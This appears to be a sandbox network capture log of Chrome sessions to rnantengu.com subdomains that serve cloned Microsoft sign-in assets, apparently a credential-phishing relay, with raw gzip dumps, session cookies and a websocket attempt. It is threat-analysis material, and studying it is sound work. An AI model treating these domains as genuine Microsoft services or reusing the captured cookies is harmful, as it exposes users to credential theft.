2025-01-15 09:07:25 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2025-01-15 09:07:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49982	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:23 UTC	778	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:25 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:25 GMT Content-Type: application/x-javascript Content-Length: 35197 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:38 GMT etag: 0x8DD05A5479BC1A5 x-ms-request-id: ab983ec1-001e-0057-1ea5-6052c8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090724Z-155884f84d45kgq4hC1BL1c0kn0000000t5g000000005zz6 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:25 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c4 bd 6b 43 db 48 b2 30 fc fd f9 15 e0 9d 65 ac b5 00 df 30 18 70 58 06 92 49 76 33 93 9c 5c 66 cf 2e 30 59 59 96 6d 0d b2 65 24 99 4b 02 cf 6f 7f eb d2 97 6a c9 90 cc 9c 67 df 33 e7 6c 70 57 df aa ab ab ab ab aa ab 5b db 7f 59 ff 3f 6b 7f 59 db fc f6 ff d6 de 7f 38 7e f7 61 ed cd 8b b5 0f 2f 5f bd 3b 5d 7b 0b a9 7f ae fd fc e6 c3 ab 93 e7 df de 0e 76 8a ff fb 30 8d f3 b5 71 9c 44 6b f0 77 18 e4 d1 68 2d 9d af a5 d9 5a 3c 0f d3 6c 91 66 41 11 e5 6b 33 f8 37 8b 83 64 6d 9c a5 b3 b5 62 1a ad 2d b2 f4 b7 28 2c f2 b5 24 ce 0b a8 34 8c 92 f4 66 ad 0e cd 65 a3 b5 b7 41 56 dc ad bd 7a eb 6d 41 fb 11 b4 16 4f e2 39 d4 0e d3 c5 1d fc 9e 16 6b f3 b4 88 c3 68 2d 98 8f a8 b5 04 12 f3 3c 5a 5b ce 47 51 b6 76 33 8d c3 e9 da 4f 71 98 a5 79 Data Ascii: kCH0e0pXIv3\f.0YYme$Kojg3lpW[Y?kY8~a/_;]{v0qDkwh-Z<lfAk37dmb-(,$4feAVzmAO9kh-<Z[GQv3Oqy
2025-01-15 09:07:25 UTC	16384	IN	Data Raw: 8c dd e6 0b f8 77 ef 79 fb 7c d9 da 6b 3e 27 87 d8 0f 9b f4 e7 05 fe db 3e a6 44 9b 72 7a 4d 4a f0 63 7f bd 1e 27 a0 d8 8b e7 2f f0 df 17 2f fa 9b f4 e7 87 8b fb f3 e5 29 18 0a 67 f0 e7 e4 87 53 fc f7 e4 94 81 ed 17 04 3c c6 a6 e0 4f 87 a1 1d 2a 7a ba db d9 a4 3f c7 04 fd a1 db a4 b2 cd 16 fe db e6 1a bb 2f 2e b6 69 d4 7b 5f 23 2a cd c3 eb 78 7e f9 3a 18 46 09 d3 b1 8f c4 33 19 a7 51 5e c4 73 7a b4 81 b2 99 b6 26 fb 43 5c 24 11 67 b4 98 d2 fd df 6f 18 58 ff a0 31 dc 71 8f 0a 49 19 cf 7f 0a 6e 41 d9 a3 9f 24 8a e9 d7 00 2d f4 f9 a0 75 40 a9 c3 f0 80 d8 b0 df 01 d9 0f 0a 06 b0 77 16 4a b9 4a a5 70 2b 43 ef e1 e6 e6 dc fb 82 db bb 92 60 50 31 e6 f6 81 c5 67 23 90 09 f8 1e c2 56 7e 19 2f 3e a4 97 11 2e 37 bf 8f bb 5d ea 51 d1 01 17 de 6c 79 f3 46 c3 78 be 32 Data Ascii: wy\|k>'>DrzMJc'//)gS<Oz?/.i{_#x~:F3Q^sz&C\$goX1qInA$-u@wJJp+C`P1g#V~/>.7]QlyFx2
2025-01-15 09:07:25 UTC	3235	IN	Data Raw: f0 f1 ba f3 ca 9c e5 07 8f f7 1e 40 1c 55 f4 db 6f 00 25 12 ef c3 1a de 6e 0e cb 2a 29 5e f7 f3 a8 6a 40 41 93 b0 71 68 33 46 52 ce 91 f4 b3 5f ef 7a 98 f3 da df 99 4e 4f 56 dc 7e 3d 2d f1 a8 52 3a ce 3c 43 ad 83 86 02 f1 97 e0 09 4c 0f 60 36 94 f9 dd c6 74 1e 14 1e 79 19 62 64 48 28 fb 37 32 db dd c9 38 a6 1b 80 ee 22 8b 56 de d9 e9 72 c1 37 ee f2 eb c9 62 6f c8 08 37 c7 ec c9 f2 de 81 b3 e3 b1 1b 33 20 53 af bf a1 d4 89 f5 68 4a 0d 45 5c 26 29 7a a3 f7 63 af ac 0e d7 52 01 41 99 7a 2a ce d1 b0 1a 7f a9 b6 ae 8d 7a b3 5a ab 32 dd 84 10 de a8 b5 9b 2c bc 51 2f 97 9b 18 4e 2f c3 e7 06 fb bd c0 3b 01 fc aa c5 42 58 e6 32 65 6c a1 5f 27 5d bd 22 42 af 51 4c 55 0f 93 ea 95 26 05 e9 f5 b6 8a 86 87 ac 9e ae a3 e1 72 5d 65 ff 12 2a 33 c8 1a 1c 55 27 de ae a9 01 Data Ascii: @Uo%n)^j@Aqh3FR_zNOV~=-R:<CL`6tybdH(728"Vr7bo73 ShJE\&)zcRAzzZ2,Q/N/;BX2el_']"BQLU&r]e*3U'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49997	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:25 UTC	550	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:27 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:27 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F47E260FD x-ms-request-id: 4f6c59a1-901e-007a-2319-66e1bb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090726Z-1698bcdb8c72qsqxhC1BL1wg2s00000003hg00000000fny7 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:27 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2025-01-15 09:07:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49998	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:25 UTC	551	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:27 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:27 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:49 GMT etag: 0x8DB5C3F49ED96E0 x-ms-request-id: ba071c23-201e-0029-6ea9-608a9d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090726Z-155884f84d45wptthC1BL18x980000000tb0000000005ra0 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:27 UTC	628	IN	Data Raw: 32 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b Data Ascii: 26d}UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;
2025-01-15 09:07:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49999	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:25 UTC	551	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:27 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:27 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4911527F x-ms-request-id: 2e56ae85-101e-0022-15e5-6571f6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090726Z-1698bcdb8c76bcnbhC1BL1e28g00000002hg00000000c1r5 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:27 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2025-01-15 09:07:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50004	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:26 UTC	572	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:28 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:28 GMT Content-Type: application/x-javascript Content-Length: 35197 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:38 GMT etag: 0x8DD05A5479BC1A5 x-ms-request-id: ab983ec1-001e-0057-1ea5-6052c8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090727Z-1698bcdb8c77swfxhC1BL12yrn0000000sz000000000q0yt x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:28 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c4 bd 6b 43 db 48 b2 30 fc fd f9 15 e0 9d 65 ac b5 00 df 30 18 70 58 06 92 49 76 33 93 9c 5c 66 cf 2e 30 59 59 96 6d 0d b2 65 24 99 4b 02 cf 6f 7f eb d2 97 6a c9 90 cc 9c 67 df 33 e7 6c 70 57 df aa ab ab ab ab aa ab 5b db 7f 59 ff 3f 6b 7f 59 db fc f6 ff d6 de 7f 38 7e f7 61 ed cd 8b b5 0f 2f 5f bd 3b 5d 7b 0b a9 7f ae fd fc e6 c3 ab 93 e7 df de 0e 76 8a ff fb 30 8d f3 b5 71 9c 44 6b f0 77 18 e4 d1 68 2d 9d af a5 d9 5a 3c 0f d3 6c 91 66 41 11 e5 6b 33 f8 37 8b 83 64 6d 9c a5 b3 b5 62 1a ad 2d b2 f4 b7 28 2c f2 b5 24 ce 0b a8 34 8c 92 f4 66 ad 0e cd 65 a3 b5 b7 41 56 dc ad bd 7a eb 6d 41 fb 11 b4 16 4f e2 39 d4 0e d3 c5 1d fc 9e 16 6b f3 b4 88 c3 68 2d 98 8f a8 b5 04 12 f3 3c 5a 5b ce 47 51 b6 76 33 8d c3 e9 da 4f 71 98 a5 79 Data Ascii: kCH0e0pXIv3\f.0YYme$Kojg3lpW[Y?kY8~a/_;]{v0qDkwh-Z<lfAk37dmb-(,$4feAVzmAO9kh-<Z[GQv3Oqy
2025-01-15 09:07:28 UTC	16384	IN	Data Raw: 8c dd e6 0b f8 77 ef 79 fb 7c d9 da 6b 3e 27 87 d8 0f 9b f4 e7 05 fe db 3e a6 44 9b 72 7a 4d 4a f0 63 7f bd 1e 27 a0 d8 8b e7 2f f0 df 17 2f fa 9b f4 e7 87 8b fb f3 e5 29 18 0a 67 f0 e7 e4 87 53 fc f7 e4 94 81 ed 17 04 3c c6 a6 e0 4f 87 a1 1d 2a 7a ba db d9 a4 3f c7 04 fd a1 db a4 b2 cd 16 fe db e6 1a bb 2f 2e b6 69 d4 7b 5f 23 2a cd c3 eb 78 7e f9 3a 18 46 09 d3 b1 8f c4 33 19 a7 51 5e c4 73 7a b4 81 b2 99 b6 26 fb 43 5c 24 11 67 b4 98 d2 fd df 6f 18 58 ff a0 31 dc 71 8f 0a 49 19 cf 7f 0a 6e 41 d9 a3 9f 24 8a e9 d7 00 2d f4 f9 a0 75 40 a9 c3 f0 80 d8 b0 df 01 d9 0f 0a 06 b0 77 16 4a b9 4a a5 70 2b 43 ef e1 e6 e6 dc fb 82 db bb 92 60 50 31 e6 f6 81 c5 67 23 90 09 f8 1e c2 56 7e 19 2f 3e a4 97 11 2e 37 bf 8f bb 5d ea 51 d1 01 17 de 6c 79 f3 46 c3 78 be 32 Data Ascii: wy\|k>'>DrzMJc'//)gS<Oz?/.i{_#x~:F3Q^sz&C\$goX1qInA$-u@wJJp+C`P1g#V~/>.7]QlyFx2
2025-01-15 09:07:28 UTC	3235	IN	Data Raw: f0 f1 ba f3 ca 9c e5 07 8f f7 1e 40 1c 55 f4 db 6f 00 25 12 ef c3 1a de 6e 0e cb 2a 29 5e f7 f3 a8 6a 40 41 93 b0 71 68 33 46 52 ce 91 f4 b3 5f ef 7a 98 f3 da df 99 4e 4f 56 dc 7e 3d 2d f1 a8 52 3a ce 3c 43 ad 83 86 02 f1 97 e0 09 4c 0f 60 36 94 f9 dd c6 74 1e 14 1e 79 19 62 64 48 28 fb 37 32 db dd c9 38 a6 1b 80 ee 22 8b 56 de d9 e9 72 c1 37 ee f2 eb c9 62 6f c8 08 37 c7 ec c9 f2 de 81 b3 e3 b1 1b 33 20 53 af bf a1 d4 89 f5 68 4a 0d 45 5c 26 29 7a a3 f7 63 af ac 0e d7 52 01 41 99 7a 2a ce d1 b0 1a 7f a9 b6 ae 8d 7a b3 5a ab 32 dd 84 10 de a8 b5 9b 2c bc 51 2f 97 9b 18 4e 2f c3 e7 06 fb bd c0 3b 01 fc aa c5 42 58 e6 32 65 6c a1 5f 27 5d bd 22 42 af 51 4c 55 0f 93 ea 95 26 05 e9 f5 b6 8a 86 87 ac 9e ae a3 e1 72 5d 65 ff 12 2a 33 c8 1a 1c 55 27 de ae a9 01 Data Ascii: @Uo%n)^j@Aqh3FR_zNOV~=-R:<CL`6tybdH(728"Vr7bo73 ShJE\&)zcRAzzZ2,Q/N/;BX2el_']"BQLU&r]e*3U'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50017	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:28 UTC	838	OUT	GET /cf4691c709594b658426624fe3bf208f/ HTTP/1.1 Host: onlineauthenticationrelayservices.rnantengu.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://onlineauthenticationrelayservices.rnantengu.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=fd123344-e637-4d6c-b4da-320d728dd8cc; brcap=0 Sec-WebSocket-Key: hRX/zGxNjgfzzZxDU26FSA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-15 09:07:29 UTC	741	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 15 Jan 2025 09:07:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 51c37376-6f2d-4300-a0e5-3945a71f7d00 x-ms-ests-server: 2.1.19870.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-15 09:07:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50064	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:35 UTC	816	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:37 UTC	755	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:37 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4904824B x-ms-request-id: 06bc9d65-101e-0074-16fc-66c80b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090736Z-155884f84d47rq4fhC1BL1ns8n000000014g00000000m9uz x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
